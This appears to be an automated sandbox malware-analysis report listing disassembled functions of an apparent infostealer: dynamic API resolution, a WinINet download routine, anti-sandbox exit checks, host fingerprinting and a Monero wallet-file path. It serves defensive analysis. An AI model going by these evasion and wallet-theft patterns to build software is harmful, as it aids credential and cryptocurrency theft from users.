Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,01B764E0), ref: 00ED9C2D
GetProcAddress.KERNEL32(75900000,01B762C0), ref: 00ED9C45
GetProcAddress.KERNEL32(75900000,01B88C40), ref: 00ED9C5E
GetProcAddress.KERNEL32(75900000,01B88E20), ref: 00ED9C76
GetProcAddress.KERNEL32(75900000,01B8CAC0), ref: 00ED9C8E
GetProcAddress.KERNEL32(75900000,01B8CA78), ref: 00ED9CA7
GetProcAddress.KERNEL32(75900000,01B7B608), ref: 00ED9CBF
GetProcAddress.KERNEL32(75900000,01B8C8F8), ref: 00ED9CD7
GetProcAddress.KERNEL32(75900000,01B8C880), ref: 00ED9CF0
GetProcAddress.KERNEL32(75900000,01B8C820), ref: 00ED9D08
GetProcAddress.KERNEL32(75900000,01B8C850), ref: 00ED9D20
GetProcAddress.KERNEL32(75900000,01B76340), ref: 00ED9D39
GetProcAddress.KERNEL32(75900000,01B76560), ref: 00ED9D51
GetProcAddress.KERNEL32(75900000,01B76400), ref: 00ED9D69
GetProcAddress.KERNEL32(75900000,01B76360), ref: 00ED9D82
GetProcAddress.KERNEL32(75900000,01B8C910), ref: 00ED9D9A
GetProcAddress.KERNEL32(75900000,01B8CA30), ref: 00ED9DB2
GetProcAddress.KERNEL32(75900000,01B7B3D8), ref: 00ED9DCB
GetProcAddress.KERNEL32(75900000,01B76460), ref: 00ED9DE3
GetProcAddress.KERNEL32(75900000,01B8C928), ref: 00ED9DFB
GetProcAddress.KERNEL32(75900000,01B8CAD8), ref: 00ED9E14
GetProcAddress.KERNEL32(75900000,01B8CAA8), ref: 00ED9E2C
GetProcAddress.KERNEL32(75900000,01B8C9A0), ref: 00ED9E44
GetProcAddress.KERNEL32(75900000,01B76580), ref: 00ED9E5D
GetProcAddress.KERNEL32(75900000,01B8C9B8), ref: 00ED9E75
GetProcAddress.KERNEL32(75900000,01B8CA90), ref: 00ED9E8D
GetProcAddress.KERNEL32(75900000,01B8C9D0), ref: 00ED9EA6
GetProcAddress.KERNEL32(75900000,01B8C9E8), ref: 00ED9EBE
GetProcAddress.KERNEL32(75900000,01B8C868), ref: 00ED9ED6
GetProcAddress.KERNEL32(75900000,01B8CA00), ref: 00ED9EEF
GetProcAddress.KERNEL32(75900000,01B8C808), ref: 00ED9F07
GetProcAddress.KERNEL32(75900000,01B8CA18), ref: 00ED9F1F
GetProcAddress.KERNEL32(75900000,01B8C898), ref: 00ED9F38
GetProcAddress.KERNEL32(75900000,01B89D38), ref: 00ED9F50
GetProcAddress.KERNEL32(75900000,01B8C940), ref: 00ED9F68
GetProcAddress.KERNEL32(75900000,01B8CA48), ref: 00ED9F81
GetProcAddress.KERNEL32(75900000,01B76280), ref: 00ED9F99
GetProcAddress.KERNEL32(75900000,01B8C8B0), ref: 00ED9FB1
GetProcAddress.KERNEL32(75900000,01B762A0), ref: 00ED9FCA
GetProcAddress.KERNEL32(75900000,01B8CA60), ref: 00ED9FE2
GetProcAddress.KERNEL32(75900000,01B8C7F0), ref: 00ED9FFA
GetProcAddress.KERNEL32(75900000,01B763C0), ref: 00EDA013
GetProcAddress.KERNEL32(75900000,01B763E0), ref: 00EDA02B
LoadLibraryA.KERNEL32(01B8C838,?,00ED5CA3,00EE0AEB,?,?,?,?,?,?,?,?,?,?,00EE0AEA,00EE0AE3), ref: 00EDA03D
LoadLibraryA.KERNEL32(01B8C958,?,00ED5CA3,00EE0AEB,?,?,?,?,?,?,?,?,?,?,00EE0AEA,00EE0AE3), ref: 00EDA04E
LoadLibraryA.KERNEL32(01B8C8C8,?,00ED5CA3,00EE0AEB,?,?,?,?,?,?,?,?,?,?,00EE0AEA,00EE0AE3), ref: 00EDA060
LoadLibraryA.KERNEL32(01B8C970,?,00ED5CA3,00EE0AEB,?,?,?,?,?,?,?,?,?,?,00EE0AEA,00EE0AE3), ref: 00EDA072
LoadLibraryA.KERNEL32(01B8C8E0,?,00ED5CA3,00EE0AEB,?,?,?,?,?,?,?,?,?,?,00EE0AEA,00EE0AE3), ref: 00EDA083
LoadLibraryA.KERNEL32(01B8C988,?,00ED5CA3,00EE0AEB,?,?,?,?,?,?,?,?,?,?,00EE0AEA,00EE0AE3), ref: 00EDA095
LoadLibraryA.KERNEL32(01B8CCA0,?,00ED5CA3,00EE0AEB,?,?,?,?,?,?,?,?,?,?,00EE0AEA,00EE0AE3), ref: 00EDA0A7
LoadLibraryA.KERNEL32(01B8CC40,?,00ED5CA3,00EE0AEB,?,?,?,?,?,?,?,?,?,?,00EE0AEA,00EE0AE3), ref: 00EDA0B8
GetProcAddress.KERNEL32(75FD0000,01B767C0), ref: 00EDA0DA
GetProcAddress.KERNEL32(75FD0000,01B8CC10), ref: 00EDA0F2
GetProcAddress.KERNEL32(75FD0000,01B88BA0), ref: 00EDA10A
GetProcAddress.KERNEL32(75FD0000,01B8CC58), ref: 00EDA123
GetProcAddress.KERNEL32(75FD0000,01B76780), ref: 00EDA13B
GetProcAddress.KERNEL32(73530000,01B7B158), ref: 00EDA160
GetProcAddress.KERNEL32(73530000,01B76740), ref: 00EDA179
GetProcAddress.KERNEL32(73530000,01B7B2E8), ref: 00EDA191
GetProcAddress.KERNEL32(73530000,01B8CB68), ref: 00EDA1A9
GetProcAddress.KERNEL32(73530000,01B8CC88), ref: 00EDA1C2
GetProcAddress.KERNEL32(73530000,01B767A0), ref: 00EDA1DA
GetProcAddress.KERNEL32(73530000,01B767E0), ref: 00EDA1F2
GetProcAddress.KERNEL32(73530000,01B8CBE0), ref: 00EDA20B
GetProcAddress.KERNEL32(763B0000,01B76800), ref: 00EDA22C
GetProcAddress.KERNEL32(763B0000,01B76920), ref: 00EDA244
GetProcAddress.KERNEL32(763B0000,01B8CCB8), ref: 00EDA25D
GetProcAddress.KERNEL32(763B0000,01B8CB80), ref: 00EDA275
GetProcAddress.KERNEL32(763B0000,01B76700), ref: 00EDA28D
GetProcAddress.KERNEL32(750F0000,01B7B270), ref: 00EDA2B3
GetProcAddress.KERNEL32(750F0000,01B7B1F8), ref: 00EDA2CB
GetProcAddress.KERNEL32(750F0000,01B8CCD0), ref: 00EDA2E3
GetProcAddress.KERNEL32(750F0000,01B76720), ref: 00EDA2FC
GetProcAddress.KERNEL32(750F0000,01B76A00), ref: 00EDA314
GetProcAddress.KERNEL32(750F0000,01B7B1D0), ref: 00EDA32C
GetProcAddress.KERNEL32(75A50000,01B8CCE8), ref: 00EDA352
GetProcAddress.KERNEL32(75A50000,01B76760), ref: 00EDA36A
GetProcAddress.KERNEL32(75A50000,01B88A40), ref: 00EDA382
GetProcAddress.KERNEL32(75A50000,01B8CBC8), ref: 00EDA39B
GetProcAddress.KERNEL32(75A50000,01B8CC28), ref: 00EDA3B3
GetProcAddress.KERNEL32(75A50000,01B76980), ref: 00EDA3CB
GetProcAddress.KERNEL32(75A50000,01B76960), ref: 00EDA3E4
GetProcAddress.KERNEL32(75A50000,01B8CBF8), ref: 00EDA3FC
GetProcAddress.KERNEL32(75A50000,01B8CD60), ref: 00EDA414
GetProcAddress.KERNEL32(75070000,01B769C0), ref: 00EDA436
GetProcAddress.KERNEL32(75070000,01B8CD18), ref: 00EDA44E
GetProcAddress.KERNEL32(75070000,01B8CB08), ref: 00EDA466
GetProcAddress.KERNEL32(75070000,01B8CDC0), ref: 00EDA47F
GetProcAddress.KERNEL32(75070000,01B8CC70), ref: 00EDA497
GetProcAddress.KERNEL32(74E50000,01B76940), ref: 00EDA4B8
GetProcAddress.KERNEL32(74E50000,01B76A20), ref: 00EDA4D1
GetProcAddress.KERNEL32(75320000,01B76880), ref: 00EDA4F2
GetProcAddress.KERNEL32(75320000,01B8CD90), ref: 00EDA50A
GetProcAddress.KERNEL32(6F060000,01B769A0), ref: 00EDA530
GetProcAddress.KERNEL32(6F060000,01B76820), ref: 00EDA548
GetProcAddress.KERNEL32(6F060000,01B76840), ref: 00EDA560
GetProcAddress.KERNEL32(6F060000,01B8CD00), ref: 00EDA579
GetProcAddress.KERNEL32(6F060000,01B76860), ref: 00EDA591
GetProcAddress.KERNEL32(6F060000,01B769E0), ref: 00EDA5A9
GetProcAddress.KERNEL32(6F060000,01B766E0), ref: 00EDA5C2
GetProcAddress.KERNEL32(6F060000,01B76680), ref: 00EDA5DA
GetProcAddress.KERNEL32(6F060000,InternetSetOptionA), ref: 00EDA5F1
GetProcAddress.KERNEL32(6F060000,HttpQueryInfoA), ref: 00EDA607
GetProcAddress.KERNEL32(74E00000,01B8CD30), ref: 00EDA629
GetProcAddress.KERNEL32(74E00000,01B88B10), ref: 00EDA641
GetProcAddress.KERNEL32(74E00000,01B8CD48), ref: 00EDA659
GetProcAddress.KERNEL32(74E00000,01B8CD78), ref: 00EDA672
GetProcAddress.KERNEL32(74DF0000,01B766A0), ref: 00EDA693
GetProcAddress.KERNEL32(6F950000,01B8CDA8), ref: 00EDA6B4
GetProcAddress.KERNEL32(6F950000,01B766C0), ref: 00EDA6CD
GetProcAddress.KERNEL32(6F950000,01B8CDD8), ref: 00EDA6E5
GetProcAddress.KERNEL32(6F950000,01B8CAF0), ref: 00EDA6FD

Strings

HttpQueryInfoA, xrefs: 00EDA5FC
InternetSetOptionA, xrefs: 00EDA5E5

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 60820eeab104f5740b05a22b1d3c2882e192b71d68977f39c773e8b8d346bf67
Instruction ID: 5363d1f480e521ee60601923a45c3fc1e8255b7e512b5ad92d5b683751ce2cc6
Opcode Fuzzy Hash: 60820eeab104f5740b05a22b1d3c2882e192b71d68977f39c773e8b8d346bf67
Instruction Fuzzy Hash: 21620AB5D10700AFC36EDBA8F99895637F9FF8C301714853AA626C324CD6BA95C1DB50

Function 00EC6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00EDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EDA7E6

Part of subcall function 00EC47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00EC4839
Part of subcall function 00EC47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00EC4849

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

InternetOpenA.WININET(00EE0DFE,00000001,00000000,00000000,00000000), ref: 00EC62E1
StrCmpCA.SHLWAPI(?,01B8E220), ref: 00EC6303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00EC6335
HttpOpenRequestA.WININET(00000000,GET,?,01B8DA10,00000000,00000000,00400100,00000000), ref: 00EC6385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00EC63BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00EC63D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00EC63FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00EC646D
InternetCloseHandle.WININET(00000000), ref: 00EC64EF
InternetCloseHandle.WININET(00000000), ref: 00EC64F9
InternetCloseHandle.WININET(00000000), ref: 00EC6503

Strings

ERROR, xrefs: 00EC6407
GET, xrefs: 00EC637C
ERROR, xrefs: 00EC64C9

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: 1fc073191935304027b2bee37acd14ebe901e7a5b8307ad869d275574d6fae76
Instruction ID: 4faf9c343916c4719918b08bc4c6ef8cee0c9e15235901a289acdbad909ce40d
Opcode Fuzzy Hash: 1fc073191935304027b2bee37acd14ebe901e7a5b8307ad869d275574d6fae76
Instruction Fuzzy Hash: 9E713B71A00358ABDB28DB90DC49FEE77B4FB44700F1091A9F50A7B284DBB56A86CF51

Function 00ED5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00EDA820: lstrlen.KERNEL32(00EC4F05,?,?,00EC4F05,00EE0DDE), ref: 00EDA82B
Part of subcall function 00EDA820: lstrcpy.KERNEL32(00EE0DDE,00000000), ref: 00EDA885

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00ED5644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00ED56A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00ED5857

Part of subcall function 00EDA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00EDA7E6

Part of subcall function 00ED51F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00ED5228

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

Part of subcall function 00ED52C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00ED5318
Part of subcall function 00ED52C0: lstrlen.KERNEL32(00000000), ref: 00ED532F
Part of subcall function 00ED52C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00ED5364
Part of subcall function 00ED52C0: lstrlen.KERNEL32(00000000), ref: 00ED5383
Part of subcall function 00ED52C0: lstrlen.KERNEL32(00000000), ref: 00ED53AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00ED578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00ED5940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00ED5A0C
Sleep.KERNEL32(0000EA60), ref: 00ED5A1B

Strings

ERROR, xrefs: 00ED5932
ERROR, xrefs: 00ED5849
ERROR, xrefs: 00ED5693
ERROR, xrefs: 00ED5636
ERROR, xrefs: 00ED59FE
ERROR, xrefs: 00ED577D

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 34558fc43bf4df0f55cff4d29951a9c9adafeaa1c61537f50c9e6aad13c39bae
Instruction ID: caff34d595388edf75ecb8cc2021cc3b39343bf0fb2775f94ad931a11aa03269
Opcode Fuzzy Hash: 34558fc43bf4df0f55cff4d29951a9c9adafeaa1c61537f50c9e6aad13c39bae
Instruction Fuzzy Hash: 74E188769102049ACB18FBA0ED56EED73B8EF54300F44A13AB41677285EF715B4BCB92

Function 00ED17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 00ED17C5
ExitProcess.KERNEL32 ref: 00ED17D1

Strings

block, xrefs: 00ED17B7

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 33bf15b12a95a4284cf5bdffeab5149d3f3ea99a69a57277f0c968c3013b0c8f
Instruction ID: db48455c52308514dfd204463d916ba8bfe33c36e54f03c2610f40d69f7cbc11
Opcode Fuzzy Hash: 33bf15b12a95a4284cf5bdffeab5149d3f3ea99a69a57277f0c968c3013b0c8f
Instruction Fuzzy Hash: 8D515CB4A00209FFCB08DFA1D964ABE77B5EF84304F14609AE41677340D7B1AA92DB61

Function 00ED7500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00ED7542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00ED757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00ED7603
RtlAllocateHeap.NTDLL(00000000), ref: 00ED760A
wsprintfA.USER32 ref: 00ED7640

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Strings

:, xrefs: 00ED755C
, xrefs: 00ED764D, 00ED7655, 00ED761B, 00ED7623
\, xrefs: 00ED7560
C, xrefs: 00ED754C

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.000000000110A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.000000000111E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000012AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.0000000001396000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157170594.00000000013CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157472097.00000000013D0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157585260.0000000001573000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157600588.0000000001574000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ec0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$
API String ID: 1544550907-3109660283
Opcode ID: 28645bd24926bdf46ce1472992cfced0ca6bd9a87783de69025c004d2c84672f
Instruction ID: c2028bef5224c297fe6cc0d200e299e3455a1a1d55021bc646953b282c8cee38
Opcode Fuzzy Hash: 28645bd24926bdf46ce1472992cfced0ca6bd9a87783de69025c004d2c84672f
Instruction Fuzzy Hash: A2418FB1D04358ABDB11DF94DC45BEEBBB8EF08704F10009AF50977280E774AA85CBA5

Function 00ED69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00ED9860: GetProcAddress.KERNEL32(75900000,01B80750), ref: 00ED98A1
Part of subcall function 00ED9860: GetProcAddress.KERNEL32(75900000,01B807B0), ref: 00ED98BA
Part of subcall function 00ED9860: GetProcAddress.KERNEL32(75900000,01B806F0), ref: 00ED98D2
Part of subcall function 00ED9860: GetProcAddress.KERNEL32(75900000,01B80780), ref: 00ED98EA
Part of subcall function 00ED9860: GetProcAddress.KERNEL32(75900000,01B80570), ref: 00ED9903
Part of subcall function 00ED9860: GetProcAddress.KERNEL32(75900000,01B88B00), ref: 00ED991B
Part of subcall function 00ED9860: GetProcAddress.KERNEL32(75900000,01B76440), ref: 00ED9933
Part of subcall function 00ED9860: GetProcAddress.KERNEL32(75900000,01B76300), ref: 00ED994C
Part of subcall function 00ED9860: GetProcAddress.KERNEL32(75900000,01B80768), ref: 00ED9964
Part of subcall function 00ED9860: GetProcAddress.KERNEL32(75900000,01B80708), ref: 00ED997C
Part of subcall function 00ED9860: GetProcAddress.KERNEL32(75900000,01B80798), ref: 00ED9995
Part of subcall function 00ED9860: GetProcAddress.KERNEL32(75900000,01B805B8), ref: 00ED99AD
Part of subcall function 00ED9860: GetProcAddress.KERNEL32(75900000,01B76320), ref: 00ED99C5
Part of subcall function 00ED9860: GetProcAddress.KERNEL32(75900000,01B807C8), ref: 00ED99DE

Part of subcall function 00EDA740: lstrcpy.KERNEL32(00EE0E17,00000000), ref: 00EDA788

Part of subcall function 00EC11D0: ExitProcess.KERNEL32 ref: 00EC1211

Part of subcall function 00EC1160: GetSystemInfo.KERNEL32(?), ref: 00EC116A
Part of subcall function 00EC1160: ExitProcess.KERNEL32 ref: 00EC117E

Part of subcall function 00EC1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00EC112B
Part of subcall function 00EC1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00EC1132
Part of subcall function 00EC1110: ExitProcess.KERNEL32 ref: 00EC1143

Part of subcall function 00EC1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00EC123E
Part of subcall function 00EC1220: __aulldiv.LIBCMT ref: 00EC1258
Part of subcall function 00EC1220: __aulldiv.LIBCMT ref: 00EC1266
Part of subcall function 00EC1220: ExitProcess.KERNEL32 ref: 00EC1294

Part of subcall function 00ED6770: GetUserDefaultLangID.KERNEL32 ref: 00ED6774

Part of subcall function 00EC1190: ExitProcess.KERNEL32 ref: 00EC11C6

Part of subcall function 00ED7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00EC11B7), ref: 00ED7880
Part of subcall function 00ED7850: RtlAllocateHeap.NTDLL(00000000), ref: 00ED7887
Part of subcall function 00ED7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00ED789F

Part of subcall function 00ED78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00ED7910
Part of subcall function 00ED78E0: RtlAllocateHeap.NTDLL(00000000), ref: 00ED7917
Part of subcall function 00ED78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00ED792F

Part of subcall function 00EDA9B0: lstrlen.KERNEL32(?,01B88950,?,\Monero\wallet.keys,00EE0E17), ref: 00EDA9C5
Part of subcall function 00EDA9B0: lstrcpy.KERNEL32(00000000), ref: 00EDAA04
Part of subcall function 00EDA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EDAA12

Part of subcall function 00EDA8A0: lstrcpy.KERNEL32(?,00EE0E17), ref: 00EDA905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01B88AA0,?,00EE110C,?,00000000,?,00EE1110,?,00000000,00EE0AEF), ref: 00ED6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00ED6AE8
CloseHandle.KERNEL32(00000000), ref: 00ED6AF9
Sleep.KERNEL32(00001770), ref: 00ED6B04
CloseHandle.KERNEL32(?,00000000,?,01B88AA0,?,00EE110C,?,00000000,?,00EE1110,?,00000000,00EE0AEF), ref: 00ED6B1A
ExitProcess.KERNEL32 ref: 00ED6B22

Memory Dump Source

Source File: 00000000.00000002.2157012241.0000000000EC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true

Associated: 00000000.00000002.2156997211.0000000000EC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F71000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000F7D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2157012241.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
